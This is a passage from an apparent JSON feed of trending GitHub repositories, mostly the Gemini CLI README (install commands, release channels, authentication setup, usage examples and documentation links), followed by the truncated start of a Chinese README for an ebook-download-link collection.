stream-json\n</code></pre> \n<h3>Quick Examples</h3> \n<h4>Start a new project</h4> \n<pre><code class=\"language-bash\">cd new-project/\ngemini\n&gt; Write me a Discord bot that answers questions using a FAQ.md file I will provide\n</code></pre> \n<h4>Analyze existing code</h4> \n<pre><code class=\"language-bash\">git clone https://github.com/google-gemini/gemini-cli\ncd gemini-cli\ngemini\n&gt; Give me a summary of all of the changes that went in yesterday\n</code></pre> \n<h2>\ud83d\udcda Documentation</h2> \n<h3>Getting Started</h3> \n<ul> \n <li><a href=\"https://www.geminicli.com/docs/get-started\"><strong>Quickstart Guide</strong></a> - Get up and running quickly.</li> \n <li><a href=\"https://www.geminicli.com/docs/get-started/authentication\"><strong>Authentication Setup</strong></a> - Detailed auth configuration.</li> \n <li><a href=\"https://www.geminicli.com/docs/reference/configuration\"><strong>Configuration Guide</strong></a> - Settings and customization.</li> \n <li><a href=\"https://www.geminicli.com/docs/reference/keyboard-shortcuts\"><strong>Keyboard Shortcuts</strong></a> - Productivity tips.</li> \n</ul> \n<h3>Core Features</h3> \n<ul> \n <li><a href=\"https://www.geminicli.com/docs/reference/commands\"><strong>Commands Reference</strong></a> - All slash commands (<code>/help</code>, <code>/chat</code>, etc).</li> \n <li><a href=\"https://www.geminicli.com/docs/cli/custom-commands\"><strong>Custom Commands</strong></a> - Create your own reusable commands.</li> \n <li><a href=\"https://www.geminicli.com/docs/cli/gemini-md\"><strong>Context Files (GEMINI.md)</strong></a> - Provide persistent context to Gemini CLI.</li> \n <li><a href=\"https://www.geminicli.com/docs/cli/checkpointing\"><strong>Checkpointing</strong></a> - Save and resume conversations.</li> \n <li><a href=\"https://www.geminicli.com/docs/cli/token-caching\"><strong>Token Caching</strong></a> - Optimize token usage.</li> \n</ul> \n<h3>Tools &amp; Extensions</h3> \n<ul> \n <li><a href=\"https://www.geminicli.com/docs/reference/tools\"><strong>Built-in Tools Overview</strong></a> \n  <ul> \n   <li><a href=\"https://www.geminicli.com/docs/tools/file-system\">File System Operations</a></li> \n   <li><a href=\"https://www.geminicli.com/docs/tools/shell\">Shell Commands</a></li> \n   <li><a href=\"https://www.geminicli.com/docs/tools/web-fetch\">Web Fetch &amp; Search</a></li> \n  </ul> </li> \n <li><a href=\"https://www.geminicli.com/docs/tools/mcp-server\"><strong>MCP Server Integration</strong></a> - Extend with custom tools.</li> \n <li><a href=\"https://geminicli.com/docs/extensions/writing-extensions\"><strong>Custom Extensions</strong></a> - Build and share your own commands.</li> \n</ul> \n<h3>Advanced Topics</h3> \n<ul> \n <li><a href=\"https://www.geminicli.com/docs/cli/headless\"><strong>Headless Mode (Scripting)</strong></a> - Use Gemini CLI in automated workflows.</li> \n <li><a href=\"https://www.geminicli.com/docs/ide-integration\"><strong>IDE Integration</strong></a> - VS Code companion.</li> \n <li><a href=\"https://www.geminicli.com/docs/cli/sandbox\"><strong>Sandboxing &amp; Security</strong></a> - Safe execution environments.</li> \n <li><a href=\"https://www.geminicli.com/docs/cli/trusted-folders\"><strong>Trusted Folders</strong></a> - Control execution policies by folder.</li> \n <li><a href=\"https://www.geminicli.com/docs/cli/enterprise\"><strong>Enterprise Guide</strong></a> - Deploy and manage in a corporate environment.</li> \n <li><a href=\"https://www.geminicli.com/docs/cli/telemetry\"><strong>Telemetry &amp; Monitoring</strong></a> - Usage tracking.</li> \n <li><a href=\"https://www.geminicli.com/docs/reference/tools\"><strong>Tools reference</strong></a> - Built-in tools overview.</li> \n <li><a href=\"https://www.geminicli.com/docs/local-development\"><strong>Local development</strong></a> - Local development tooling.</li> \n</ul> \n<h3>Troubleshooting &amp; Support</h3> \n<ul> \n <li><a href=\"https://www.geminicli.com/docs/resources/troubleshooting\"><strong>Troubleshooting Guide</strong></a> - Common issues and solutions.</li> \n <li><a href=\"https://www.geminicli.com/docs/resources/faq\"><strong>FAQ</strong></a> - Frequently asked questions.</li> \n <li>Use <code>/bug</code> command to report issues directly from the CLI.</li> \n</ul> \n<h3>Using MCP Servers</h3> \n<p>Configure MCP servers in <code>~/.gemini/settings.json</code> to extend Gemini CLI with custom tools:</p> \n<pre><code class=\"language-text\">&gt; @github List my open pull requests\n&gt; @slack Send a summary of today's commits to #dev channel\n&gt; @database Run a query to find inactive users\n</code></pre> \n<p>See the <a href=\"https://www.geminicli.com/docs/tools/mcp-server\">MCP Server Integration guide</a> for setup instructions.</p> \n<h2>\ud83e\udd1d Contributing</h2> \n<p>We welcome contributions! Gemini CLI is fully open source (Apache 2.0), and we encourage the community to:</p> \n<ul> \n <li>Report bugs and suggest features.</li> \n <li>Improve documentation.</li> \n <li>Submit code improvements.</li> \n <li>Share your MCP servers and extensions.</li> \n</ul> \n<p>See our <a href=\"https://raw.githubusercontent.com/google-gemini/gemini-cli/main/CONTRIBUTING.md\">Contributing Guide</a> for development setup, coding standards, and how to submit pull requests.</p> \n<p>Check our <a href=\"https://github.com/orgs/google-gemini/projects/11\">Official Roadmap</a> for planned features and priorities.</p> \n<h2>\ud83d\udcd6 Resources</h2> \n<ul> \n <li><strong><a href=\"https://learn.deeplearning.ai/courses/gemini-cli-code-and-create-with-an-open-source-agent/information\">Free Course</a></strong> - Learn the basics.</li> \n <li><strong><a href=\"https://raw.githubusercontent.com/google-gemini/gemini-cli/main/ROADMAP.md\">Official Roadmap</a></strong> - See what's coming next.</li> \n <li><strong><a href=\"https://www.geminicli.com/docs/changelogs\">Changelog</a></strong> - See recent notable updates.</li> \n <li><strong><a href=\"https://www.npmjs.com/package/@google/gemini-cli\">NPM Package</a></strong> - Package registry.</li> \n <li><strong><a href=\"https://github.com/google-gemini/gemini-cli/issues\">GitHub Issues</a></strong> - Report bugs or request features.</li> \n <li><strong><a href=\"https://github.com/google-gemini/gemini-cli/security/advisories\">Security Advisories</a></strong> - Security updates.</li> \n</ul> \n<h3>Uninstall</h3> \n<p>See the <a href=\"https://www.geminicli.com/docs/resources/uninstall\">Uninstall Guide</a> for removal instructions.</p> \n<h2>\ud83d\udcc4 Legal</h2> \n<ul> \n <li><strong>License</strong>: <a href=\"https://raw.githubusercontent.com/google-gemini/gemini-cli/main/LICENSE\">Apache License 2.0</a></li> \n <li><strong>Terms of Service</strong>: <a href=\"https://www.geminicli.com/docs/resources/tos-privacy\">Terms &amp; Privacy</a></li> \n <li><strong>Security</strong>: <a href=\"https://raw.githubusercontent.com/google-gemini/gemini-cli/main/SECURITY.md\">Security Policy</a></li> \n</ul> \n<p align=\"left\"> <a href=\"https://www.star-history.com/google-gemini/gemini-cli\"> \n   \n   <source media=\"(prefers-color-scheme: dark)\" /> \n   <source media=\"(prefers-color-scheme: light)\" /> \n   <img alt=\"Star History Rank\" src=\"https://api.star-history.com/badge?repo=google-gemini/gemini-cli\" /> \n   </a> </p> \n<hr /> \n<p align=\"center\"> Built with \u2764\ufe0f by Google and the open source community </p>", "summary": "<p>An open-source AI agent that brings the power of Gemini directly into your terminal.</p><p><img alt=\"link\" height=\"20\" src=\"https://mshibanami.github.io/GitHubTrendingRSS/assets/icons/link.png\" style=\"margin: 0 8px 0 0; padding: 0; display: inline-block; vertical-align: middle;\" width=\"20\" /><a href=\"https://geminicli.com\">https://geminicli.com</a></p><hr /><div class=\"markdown-alert markdown-alert-note\">\n <p class=\"markdown-alert-title\">\n  <svg class=\"octicon octicon-info mr-2\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\" xmlns=\"http://www.w3.org/2000/svg\">\n   <path d=\"M0 8a8 8 0 1 1 16 0A8 8 0 0 1 0 8Zm8-6.5a6.5 6.5 0 1 0 0 13 6.5 6.5 0 0 0 0-13ZM6.5 7.75A.75.75 0 0 1 7.25 7h1a.75.75 0 0 1 .75.75v2.75h.25a.75.75 0 0 1 0 1.5h-2a.75.75 0 0 1 0-1.5h.25v-2h-.25a.75.75 0 0 1-.75-.75ZM8 6a1 1 0 1 1 0-2 1 1 0 0 1 0 2Z\"></path>\n  </svg>Note</p>\n <p></p> \n <p><strong>Unpaid tier and Google One users:</strong> Gemini CLI was replaced by Antigravity CLI on June 18th, 2026. To learn more, see our <a href=\"https://developers.googleblog.com/an-important-update-transitioning-gemini-cli-to-antigravity-cli\">blog post</a>.</p> \n <p><strong>Gemini CLI has not been optimized for Gemini 4 Argon.</strong> To use Gemini 4 Argon, please use Antigravity.</p> \n</div> \n<h1>Gemini CLI</h1> \n<p><a href=\"https://github.com/google-gemini/gemini-cli/actions/workflows/ci.yml\"><img alt=\"Gemini CLI CI\" src=\"https://github.com/google-gemini/gemini-cli/actions/workflows/ci.yml/badge.svg?sanitize=true\" /></a> <a href=\"https://github.com/google-gemini/gemini-cli/actions/workflows/chained_e2e.yml\"><img alt=\"Gemini CLI E2E (Chained)\" src=\"https://github.com/google-gemini/gemini-cli/actions/workflows/chained_e2e.yml/badge.svg?sanitize=true\" /></a> <a href=\"https://www.npmjs.com/package/@google/gemini-cli\"><img alt=\"Version\" src=\"https://img.shields.io/npm/v/@google/gemini-cli\" /></a> <a href=\"https://github.com/google-gemini/gemini-cli/raw/main/LICENSE\"><img alt=\"License\" src=\"https://img.shields.io/github/license/google-gemini/gemini-cli\" /></a> <a href=\"https://codewiki.google/github.com/google-gemini/gemini-cli?utm_source=badge&amp;utm_medium=github&amp;utm_campaign=github.com/google-gemini/gemini-cli\"><img alt=\"View Code Wiki\" src=\"https://assets.codewiki.google/readme-badge/static.svg?sanitize=true\" /></a></p> \n<div class=\"markdown-alert markdown-alert-note\">\n <p class=\"markdown-alert-title\">\n  <svg class=\"octicon octicon-info mr-2\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\" xmlns=\"http://www.w3.org/2000/svg\">\n   <path d=\"M0 8a8 8 0 1 1 16 0A8 8 0 0 1 0 8Zm8-6.5a6.5 6.5 0 1 0 0 13 6.5 6.5 0 0 0 0-13ZM6.5 7.75A.75.75 0 0 1 7.25 7h1a.75.75 0 0 1 .75.75v2.75h.25a.75.75 0 0 1 0 1.5h-2a.75.75 0 0 1 0-1.5h.25v-2h-.25a.75.75 0 0 1-.75-.75ZM8 6a1 1 0 1 1 0-2 1 1 0 0 1 0 2Z\"></path>\n  </svg>Note</p>\n <p></p> \n <p>Gemini CLI is not optimized for the latest Gemini models. For the best coding experience with Gemini models use <a href=\"https://antigravity.google/product/antigravity-cli\">Antigravity CLI</a></p> \n</div> \n<p>Gemini CLI is an open-source AI agent that brings the power of Gemini directly into your terminal. It provides lightweight access to Gemini, giving you the most direct path from your prompt to our model.</p> \n<p>Learn all about Gemini CLI in our <a href=\"https://geminicli.com/docs/\">documentation</a>.</p> \n<h2>\ud83d\udce6 Installation</h2> \n<p>See <a href=\"https://www.geminicli.com/docs/get-started/installation\">Gemini CLI installation, execution, and releases</a> for recommended system specifications and a detailed installation guide.</p> \n<h3>Quick Install</h3> \n<h4>Run instantly with npx</h4> \n<pre><code class=\"language-bash\"># Using npx (no installation required)\nnpx @google/gemini-cli\n</code></pre> \n<h4>Install globally with npm</h4> \n<pre><code class=\"language-bash\">npm install -g @google/gemini-cli\n</code></pre> \n<h4>Install globally with Homebrew (macOS/Linux)</h4> \n<pre><code class=\"language-bash\">brew install gemini-cli\n</code></pre> \n<h4>Install globally with MacPorts (macOS)</h4> \n<pre><code class=\"language-bash\">sudo port install gemini-cli\n</code></pre> \n<h4>Install with Anaconda (for restricted environments)</h4> \n<pre><code class=\"language-bash\"># Create and activate a new environment\nconda create -y -n gemini_env -c conda-forge nodejs\nconda activate gemini_env\n\n# Install Gemini CLI globally via npm (inside the environment)\nnpm install -g @google/gemini-cli\n</code></pre> \n<h2>Release Channels</h2> \n<p>See <a href=\"https://www.geminicli.com/docs/changelogs\">Releases</a> for more details.</p> \n<h3>Preview</h3> \n<p>New preview releases will be published each week at UTC 23:59 on Tuesdays. These releases will not have been fully vetted and may contain regressions or other outstanding issues. Please help us test and install with <code>preview</code> tag.</p> \n<pre><code class=\"language-bash\">npm install -g @google/gemini-cli@preview\n</code></pre> \n<h3>Stable</h3> \n<ul> \n <li>New stable releases will be published each week at UTC 20:00 on Tuesdays, this will be the full promotion of last week's <code>preview</code> release + any bug fixes and validations. Use <code>latest</code> tag.</li> \n</ul> \n<pre><code class=\"language-bash\">npm install -g @google/gemini-cli@latest\n</code></pre> \n<h3>Nightly</h3> \n<ul> \n <li>New releases will be published each day at UTC 00:00. This will be all changes from the main branch as represented at time of release. It should be assumed there are pending validations and issues. Use <code>nightly</code> tag.</li> \n</ul> \n<pre><code class=\"language-bash\">npm install -g @google/gemini-cli@nightly\n</code></pre> \n<h2>\ud83d\udccb Key Features</h2> \n<h3>Code Understanding &amp; Generation</h3> \n<ul> \n <li>Query and edit large codebases</li> \n <li>Generate new apps from PDFs, images, or sketches using multimodal capabilities</li> \n <li>Debug issues and troubleshoot with natural language</li> \n</ul> \n<h3>Automation &amp; Integration</h3> \n<ul> \n <li>Automate operational tasks like querying pull requests or handling complex rebases</li> \n <li>Use MCP servers to connect new capabilities, including <a href=\"https://github.com/GoogleCloudPlatform/vertex-ai-creative-studio/tree/main/experiments/mcp-genmedia\">media generation with Imagen, Veo or Lyria</a></li> \n <li>Run non-interactively in scripts for workflow automation</li> \n</ul> \n<h2>\ud83d\udd10 Authentication Options</h2> \n<p>Choose the authentication method that best fits your needs:</p> \n<h3>Option 1: Sign in with Google (OAuth login using your Google Account)</h3> \n<h4>When using a paid Code Assist License from your organization, remember to set the Google Cloud Project</h4> \n<pre><code class=\"language-bash\"># Set your Google Cloud Project\nexport GOOGLE_CLOUD_PROJECT=\"YOUR_PROJECT_ID\"\ngemini\n</code></pre> \n<h3>Option 2: Gemini API Key</h3> \n<p><strong>\u2728 Best for:</strong> Developers who need specific model control or paid tier access</p> \n<p><strong>Benefits:</strong></p> \n<ul> \n <li><strong>Model selection</strong>: Choose specific Gemini models</li> \n <li><strong>Usage-based billing</strong>: Upgrade for higher limits when needed</li> \n</ul> \n<pre><code class=\"language-bash\"># Get your key from https://aistudio.google.com/apikey\nexport GEMINI_API_KEY=\"YOUR_API_KEY\"\ngemini\n</code></pre> \n<h3>Option 3: Vertex AI</h3> \n<p><strong>\u2728 Best for:</strong> Enterprise teams and production workloads</p> \n<p><strong>Benefits:</strong></p> \n<ul> \n <li><strong>Enterprise features</strong>: Advanced security and compliance</li> \n <li><strong>Scalable</strong>: Higher rate limits with billing account</li> \n <li><strong>Integration</strong>: Works with existing Google Cloud infrastructure</li> \n</ul> \n<pre><code class=\"language-bash\"># Get your key from Google Cloud Console\nexport GOOGLE_API_KEY=\"YOUR_API_KEY\"\nexport GOOGLE_GENAI_USE_VERTEXAI=true\ngemini\n</code></pre> \n<p>For Google Workspace accounts and other authentication methods, see the <a href=\"https://www.geminicli.com/docs/get-started/authentication\">authentication guide</a>.</p> \n<h2>\ud83d\ude80 Getting Started</h2> \n<div class=\"markdown-alert markdown-alert-note\">\n <p class=\"markdown-alert-title\">\n  <svg class=\"octicon octicon-info mr-2\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\" xmlns=\"http://www.w3.org/2000/svg\">\n   <path d=\"M0 8a8 8 0 1 1 16 0A8 8 0 0 1 0 8Zm8-6.5a6.5 6.5 0 1 0 0 13 6.5 6.5 0 0 0 0-13ZM6.5 7.75A.75.75 0 0 1 7.25 7h1a.75.75 0 0 1 .75.75v2.75h.25a.75.75 0 0 1 0 1.5h-2a.75.75 0 0 1 0-1.5h.25v-2h-.25a.75.75 0 0 1-.75-.75ZM8 6a1 1 0 1 1 0-2 1 1 0 0 1 0 2Z\"></path>\n  </svg>Note</p>\n <p></p> \n <p>Gemini CLI is not optimized for the latest Gemini models. For the best coding experience with Gemini models use <a href=\"https://antigravity.google/product/antigravity-cli\">Antigravity CLI</a></p> \n</div> \n<h3>Basic Usage</h3> \n<h4>Start in current directory</h4> \n<pre><code class=\"language-bash\">gemini\n</code></pre> \n<h4>Include multiple directories</h4> \n<pre><code class=\"language-bash\">gemini --include-directories ../lib,../docs\n</code></pre> \n<h4>Use specific model</h4> \n<pre><code class=\"language-bash\">gemini -m gemini-2.5-flash\n</code></pre> \n<h4>Non-interactive mode for scripts</h4> \n<p>Get a simple text response:</p> \n<pre><code class=\"language-bash\">gemini -p \"Explain the architecture of this codebase\"\n</code></pre> \n<p>For more advanced scripting, including how to parse JSON and handle errors, use the <code>--output-format json</code> flag to get structured output:</p> \n<pre><code class=\"language-bash\">gemini -p \"Explain the architecture of this codebase\" --output-format json\n</code></pre> \n<p>For real-time event streaming (useful for monitoring long-running operations), use <code>--output-format stream-json</code> to get newline-delimited JSON events:</p> \n<pre><code class=\"language-bash\">gemini -p \"Run tests and deploy\" --output-format stream-json\n</code></pre> \n<h3>Quick Examples</h3> \n<h4>Start a new project</h4> \n<pre><code class=\"language-bash\">cd new-project/\ngemini\n&gt; Write me a Discord bot that answers questions using a FAQ.md file I will provide\n</code></pre> \n<h4>Analyze existing code</h4> \n<pre><code class=\"language-bash\">git clone https://github.com/google-gemini/gemini-cli\ncd gemini-cli\ngemini\n&gt; Give me a summary of all of the changes that went in yesterday\n</code></pre> \n<h2>\ud83d\udcda Documentation</h2> \n<h3>Getting Started</h3> \n<ul> \n <li><a href=\"https://www.geminicli.com/docs/get-started\"><strong>Quickstart Guide</strong></a> - Get up and running quickly.</li> \n <li><a href=\"https://www.geminicli.com/docs/get-started/authentication\"><strong>Authentication Setup</strong></a> - Detailed auth configuration.</li> \n <li><a href=\"https://www.geminicli.com/docs/reference/configuration\"><strong>Configuration Guide</strong></a> - Settings and customization.</li> \n <li><a href=\"https://www.geminicli.com/docs/reference/keyboard-shortcuts\"><strong>Keyboard Shortcuts</strong></a> - Productivity tips.</li> \n</ul> \n<h3>Core Features</h3> \n<ul> \n <li><a href=\"https://www.geminicli.com/docs/reference/commands\"><strong>Commands Reference</strong></a> - All slash commands (<code>/help</code>, <code>/chat</code>, etc).</li> \n <li><a href=\"https://www.geminicli.com/docs/cli/custom-commands\"><strong>Custom Commands</strong></a> - Create your own reusable commands.</li> \n <li><a href=\"https://www.geminicli.com/docs/cli/gemini-md\"><strong>Context Files (GEMINI.md)</strong></a> - Provide persistent context to Gemini CLI.</li> \n <li><a href=\"https://www.geminicli.com/docs/cli/checkpointing\"><strong>Checkpointing</strong></a> - Save and resume conversations.</li> \n <li><a href=\"https://www.geminicli.com/docs/cli/token-caching\"><strong>Token Caching</strong></a> - Optimize token usage.</li> \n</ul> \n<h3>Tools &amp; Extensions</h3> \n<ul> \n <li><a href=\"https://www.geminicli.com/docs/reference/tools\"><strong>Built-in Tools Overview</strong></a> \n  <ul> \n   <li><a href=\"https://www.geminicli.com/docs/tools/file-system\">File System Operations</a></li> \n   <li><a href=\"https://www.geminicli.com/docs/tools/shell\">Shell Commands</a></li> \n   <li><a href=\"https://www.geminicli.com/docs/tools/web-fetch\">Web Fetch &amp; Search</a></li> \n  </ul> </li> \n <li><a href=\"https://www.geminicli.com/docs/tools/mcp-server\"><strong>MCP Server Integration</strong></a> - Extend with custom tools.</li> \n <li><a href=\"https://geminicli.com/docs/extensions/writing-extensions\"><strong>Custom Extensions</strong></a> - Build and share your own commands.</li> \n</ul> \n<h3>Advanced Topics</h3> \n<ul> \n <li><a href=\"https://www.geminicli.com/docs/cli/headless\"><strong>Headless Mode (Scripting)</strong></a> - Use Gemini CLI in automated workflows.</li> \n <li><a href=\"https://www.geminicli.com/docs/ide-integration\"><strong>IDE Integration</strong></a> - VS Code companion.</li> \n <li><a href=\"https://www.geminicli.com/docs/cli/sandbox\"><strong>Sandboxing &amp; Security</strong></a> - Safe execution environments.</li> \n <li><a href=\"https://www.geminicli.com/docs/cli/trusted-folders\"><strong>Trusted Folders</strong></a> - Control execution policies by folder.</li> \n <li><a href=\"https://www.geminicli.com/docs/cli/enterprise\"><strong>Enterprise Guide</strong></a> - Deploy and manage in a corporate environment.</li> \n <li><a href=\"https://www.geminicli.com/docs/cli/telemetry\"><strong>Telemetry &amp; Monitoring</strong></a> - Usage tracking.</li> \n <li><a href=\"https://www.geminicli.com/docs/reference/tools\"><strong>Tools reference</strong></a> - Built-in tools overview.</li> \n <li><a href=\"https://www.geminicli.com/docs/local-development\"><strong>Local development</strong></a> - Local development tooling.</li> \n</ul> \n<h3>Troubleshooting &amp; Support</h3> \n<ul> \n <li><a href=\"https://www.geminicli.com/docs/resources/troubleshooting\"><strong>Troubleshooting Guide</strong></a> - Common issues and solutions.</li> \n <li><a href=\"https://www.geminicli.com/docs/resources/faq\"><strong>FAQ</strong></a> - Frequently asked questions.</li> \n <li>Use <code>/bug</code> command to report issues directly from the CLI.</li> \n</ul> \n<h3>Using MCP Servers</h3> \n<p>Configure MCP servers in <code>~/.gemini/settings.json</code> to extend Gemini CLI with custom tools:</p> \n<pre><code class=\"language-text\">&gt; @github List my open pull requests\n&gt; @slack Send a summary of today's commits to #dev channel\n&gt; @database Run a query to find inactive users\n</code></pre> \n<p>See the <a href=\"https://www.geminicli.com/docs/tools/mcp-server\">MCP Server Integration guide</a> for setup instructions.</p> \n<h2>\ud83e\udd1d Contributing</h2> \n<p>We welcome contributions! Gemini CLI is fully open source (Apache 2.0), and we encourage the community to:</p> \n<ul> \n <li>Report bugs and suggest features.</li> \n <li>Improve documentation.</li> \n <li>Submit code improvements.</li> \n <li>Share your MCP servers and extensions.</li> \n</ul> \n<p>See our <a href=\"https://raw.githubusercontent.com/google-gemini/gemini-cli/main/CONTRIBUTING.md\">Contributing Guide</a> for development setup, coding standards, and how to submit pull requests.</p> \n<p>Check our <a href=\"https://github.com/orgs/google-gemini/projects/11\">Official Roadmap</a> for planned features and priorities.</p> \n<h2>\ud83d\udcd6 Resources</h2> \n<ul> \n <li><strong><a href=\"https://learn.deeplearning.ai/courses/gemini-cli-code-and-create-with-an-open-source-agent/information\">Free Course</a></strong> - Learn the basics.</li> \n <li><strong><a href=\"https://raw.githubusercontent.com/google-gemini/gemini-cli/main/ROADMAP.md\">Official Roadmap</a></strong> - See what's coming next.</li> \n <li><strong><a href=\"https://www.geminicli.com/docs/changelogs\">Changelog</a></strong> - See recent notable updates.</li> \n <li><strong><a href=\"https://www.npmjs.com/package/@google/gemini-cli\">NPM Package</a></strong> - Package registry.</li> \n <li><strong><a href=\"https://github.com/google-gemini/gemini-cli/issues\">GitHub Issues</a></strong> - Report bugs or request features.</li> \n <li><strong><a href=\"https://github.com/google-gemini/gemini-cli/security/advisories\">Security Advisories</a></strong> - Security updates.</li> \n</ul> \n<h3>Uninstall</h3> \n<p>See the <a href=\"https://www.geminicli.com/docs/resources/uninstall\">Uninstall Guide</a> for removal instructions.</p> \n<h2>\ud83d\udcc4 Legal</h2> \n<ul> \n <li><strong>License</strong>: <a href=\"https://raw.githubusercontent.com/google-gemini/gemini-cli/main/LICENSE\">Apache License 2.0</a></li> \n <li><strong>Terms of Service</strong>: <a href=\"https://www.geminicli.com/docs/resources/tos-privacy\">Terms &amp; Privacy</a></li> \n <li><strong>Security</strong>: <a href=\"https://raw.githubusercontent.com/google-gemini/gemini-cli/main/SECURITY.md\">Security Policy</a></li> \n</ul> \n<p align=\"left\"> <a href=\"https://www.star-history.com/google-gemini/gemini-cli\"> \n   \n   <source media=\"(prefers-color-scheme: dark)\" /> \n   <source media=\"(prefers-color-scheme: light)\" /> \n   <img alt=\"Star History Rank\" src=\"https://api.star-history.com/badge?repo=google-gemini/gemini-cli\" /> \n   </a> </p> \n<hr /> \n<p align=\"center\"> Built with \u2764\ufe0f by Google and the open source community </p>", "image": null, "banner_image": null, "date_published": "2026-10-28T08:46:08Z", "date_modified": "2026-10-28T08:46:08Z", "authors": ["Unknown"], "tags": [], "language": null, "attachments": ["\n                            {\"url\": string, \n                            'mime_type': string, \n                            'title': strinrg,\n                            'size_in_bytes': int,\n                            'duration_in_seconds': int\n                            "]}, {"id": "https://github.com/jbiaojerry/ebook-treasure-chest", "url": "https://github.com/jbiaojerry/ebook-treasure-chest", "external_url": null, "title": "jbiaojerry/ebook-treasure-chest", "content_text": "", "content_html": "<p>\u6b22\u8fce\u6765\u5230\u7535\u5b50\u4e66\u4e0b\u8f7d\u5b9d\u5e93\uff0c\u4e00\u4e2a\u6c47\u805a\u4e86\u5404\u7c7b\u7535\u5b50\u4e66\u4e0b\u8f7d\u94fe\u63a5\u7684\u5730\u65b9\u3002\u65e0\u8bba\u4f60\u662f\u559c\u6b22\u9605\u8bfb\u7ecf\u5178\u6587\u5b66\u3001\u7ecf\u7ba1\u52b1\u5fd7\u3001\u7ec8\u8eab\u5b66\u4e60\u3001\u804c\u573a\u521b\u4e1a\u3001\u6280\u672f\u624b\u518c\u8fd8\u662f\u5176\u4ed6\u7c7b\u578b\u7684\u4e66\u7c4d\uff0c\u8fd9\u91cc\u90fd\u80fd\u6ee1\u8db3\u4f60\u7684\u9700\u6c42\u3002 \u8be5\u5e93\u6db5\u76d6\u4e86\u5e06\u4e66app(\u539f\u6a0a\u767b\u8bfb\u4e66)\u3001\u5fae\u4fe1\u8bfb\u4e66\u3001\u4eac\u4e1c\u8bfb\u4e66\u3001\u559c\u9a6c\u62c9\u96c5\u7b49\u8bfb\u4e66app\u7684\u5927\u90e8\u5206\u7535\u5b50\u4e66\u3002</p><hr /><p align=\"center\"> <img alt=\"Project Logo\" src=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/.github/logo.png\" /> </p> \n<h1>\u7535\u5b50\u4e66\u4e0b\u8f7d\u5b9d\u5e93</h1> \n<p><img alt=\"GitHub\" src=\"https://img.shields.io/github/license/jbiaojerry/ebook-treasure-chest\" /> <img alt=\"GitHub stars\" src=\"https://img.shields.io/github/stars/jbiaojerry/ebook-treasure-chest?style=social\" /> <img alt=\"GitHub forks\" src=\"https://img.shields.io/github/forks/jbiaojerry/ebook-treasure-chest?style=social\" /></p> \n<blockquote> \n <p><strong>\ud83c\udf10 <a href=\"https://jbiaojerry.github.io/ebook-treasure-chest/\">\u5728\u7ebf\u8bbf\u95ee GitHub Pages</a></strong> - \u4f53\u9a8c\u5f3a\u5927\u7684\u5b9e\u65f6\u641c\u7d22\u529f\u80fd\u548c\u591a\u5173\u952e\u5b57\u641c\u7d22\uff0c\u5feb\u901f\u627e\u5230\u4f60\u60f3\u8981\u7684\u7535\u5b50\u4e66\uff01</p> \n</blockquote> \n<p>\u6b22\u8fce\u6765\u5230\u7535\u5b50\u4e66\u4e0b\u8f7d\u5b9d\u5e93\uff0c\u4e00\u4e2a\u6c47\u805a\u4e86\u5404\u7c7b\u7535\u5b50\u4e66\u4e0b\u8f7d\u94fe\u63a5\u7684\u5730\u65b9\u3002\u65e0\u8bba\u4f60\u662f\u559c\u6b22\u9605\u8bfb\u7ecf\u5178\u6587\u5b66\u3001\u7ecf\u7ba1\u52b1\u5fd7\u3001\u7ec8\u8eab\u5b66\u4e60\u3001\u804c\u573a\u521b\u4e1a\u3001\u6280\u672f\u624b\u518c\u8fd8\u662f\u5176\u4ed6\u7c7b\u578b\u7684\u4e66\u7c4d\uff0c\u8fd9\u91cc\u90fd\u80fd\u6ee1\u8db3\u4f60\u7684\u9700\u6c42\u3002 \u8be5\u5e93\u6db5\u76d6\u4e86\u5e06\u4e66app(\u539f\u6a0a\u767b\u8bfb\u4e66)\u3001\u5fae\u4fe1\u8bfb\u4e66\u3001\u4eac\u4e1c\u8bfb\u4e66\u3001\u559c\u9a6c\u62c9\u96c5\u7b49\u8bfb\u4e66app\u7684\u5927\u90e8\u5206\u7535\u5b50\u4e66\u3002</p> \n<h2>\u7b80\u4ecb</h2> \n<p>\u6211\u4eec\u4ece\u5404\u4e2a\u7535\u5b50\u4e66\u7f51\u7ad9\u4e0a\u7cbe\u5fc3\u6536\u96c6\u4e86\u5404\u79cd\u7535\u5b50\u4e66\u4e0b\u8f7d\u94fe\u63a5\uff0c\u5e76\u6839\u636e\u5e38\u7528\u7684\u6807\u7b7e\u5bf9\u5b83\u4eec\u8fdb\u884c\u4e86\u7b80\u5355\u5206\u7c7b\u3002\u6bcf\u672c\u4e66\u90fd\u5305\u62ec\u4e86\u4e09\u79cd\u5e38\u89c1\u683c\u5f0f\u6587\u4ef6\uff1aepub\u3001mobi \u548c azw3\uff0c\u4ee5\u6ee1\u8db3\u4e0d\u540c\u9605\u8bfb\u8bbe\u5907\u548c\u559c\u597d\u7684\u9700\u6c42\u3002</p> \n<h2>\ud83d\udd0d \u5982\u4f55\u4f7f\u7528</h2> \n<p>\u6d4f\u89c8\u6211\u4eec\u7684\u4e0b\u8f7d\u5b9d\u5e93\u975e\u5e38\u7b80\u5355\uff1a</p> \n<h3>\ud83c\udf10 \u5b9e\u65f6\u5feb\u901f\u641c\u7d22\uff08\u63a8\u8350\uff09</h3> \n<p><strong>\u8bbf\u95ee <a href=\"https://jbiaojerry.github.io/ebook-treasure-chest/\">GitHub Pages \u5b9e\u65f6\u5728\u7ebf\u641c\u7d22\u9875\u9762</a></strong>\uff0c\u4f53\u9a8c\u5f3a\u5927\u7684\u5b9e\u65f6\u5feb\u901f\u641c\u7d22\u548c\u591a\u5173\u952e\u8bcd\u641c\u7d22\u529f\u80fd\uff1a</p> \n<ul> \n <li><strong>\ud83d\udd0e \u5b9e\u65f6\u641c\u7d22</strong>\uff1a\u8f93\u5165\u4e66\u540d\u3001\u4f5c\u8005\u6216\u5206\u7c7b\u5173\u952e\u8bcd\uff0c\u5373\u65f6\u663e\u793a\u5339\u914d\u7ed3\u679c</li> \n <li><strong>\ud83d\udca1 \u591a\u5173\u952e\u8bcd\u641c\u7d22</strong>\uff1a\u652f\u6301\u540c\u65f6\u641c\u7d22\u591a\u4e2a\u5173\u952e\u8bcd\uff08\u7528\u7a7a\u683c\u5206\u9694\uff09</li> \n</ul> \n<p><img 